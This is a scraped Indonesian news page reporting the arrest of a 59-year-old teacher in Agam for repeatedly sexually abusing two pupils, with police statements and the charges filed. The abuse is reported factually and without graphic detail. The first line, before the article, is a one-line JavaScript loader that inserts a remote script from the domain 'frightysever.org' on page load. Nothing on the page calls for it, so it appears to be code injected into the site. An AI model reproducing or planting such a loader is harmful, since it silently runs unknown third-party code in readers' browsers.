(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Perdana Dibawa ke Rumah Dinas, Guru SD Sodomi Murid Berkali-kali hingga SMP


KANALKALIMANTAN.COM – Pria paruh baya berinisial Z (59) kini harus menghabiskan masa tuanya di penjara akibat perbuatan cabulnya. Pelaku yang berprofesi sebagai guru di salah satu Sekolah Dasar di Kamang Magek, Kabupaten Agam telah menyodomi dua siswanya.

Kasat Reskrim Polres Bukittinggi AKP Chairul Amri Nasution mengatakan jika satu dari dua korban bahkan sudah dicabuli pelaku sejak duduk di bangku SD. Dalam kasus ini, Z telah ditahan sebagaimana laporan yang diterima Polres Bukittinggi dengan Nomor Polisi LP/ 29 /II/2021/SPKT Res.Bukittinggi.

“Dari hasil pemeriksaan, kejahatan oknum guru tersebut terhadap salah seorang korban telah terjadi berulang kali dari tahun 2013, semenjak korban masih duduk di bangku kelas 4 SD. Tindakan itu sampai korban menjadi murid SMP,” katanya seperti dikutip dari Covesia.com–media jaringan Suara.com mitra media Kanalkalimantan.com, Senin (15/2/2021).

Selain itu, katanya, terhadap satu korban yang lainnya yang baru satu kali mengalami pelecehan. Sementara, peristiwa itu masih terus didalami.

 

Kasat menerangkan, dengan diiming-iming uang jajan, guru Z kali pertama menyodomi muridnya di pertama kali pada di rumah dinas pada 2013 lalu. Pelaku juga menghubungi korban lewat telepon dan kemudian menjemput korban.

Ketua Pemuda, selaku saksi, merasa curiga karena pelaku sering menjemput korban. Dari kecurigaan tersebut, saksi menanyakan kepada korban, dan saat itulah korban mengungkapkan jika telah dicabuli pelaku.

“Pelaku diamankan pada Sabtu, 13 Februari 2021 dan terhadap perbuatannya, kita jerat dengan pasal 82 ayat 1 Jo 76E UU No. 35 Tahun 2014 tentang perubahan atas UU No 23 tahun 2002 tentang perlindungan anak Jo UU No.17 tahun 2016 tentang penetapan peraturan pemerintah pengganti UU No. 1 tahun 2016 tentang perubahan kedua atas Undang-undang No. 23 tahun 2002 tentang perlindungan anak dengan ancaman 15 tahun penjara,” pungkasnya. (suara)

Reporter: suara
Editor: cell


Al Ghifari

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

9 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

12 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

18 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

18 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

21 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

1 hari ago

This website uses cookies.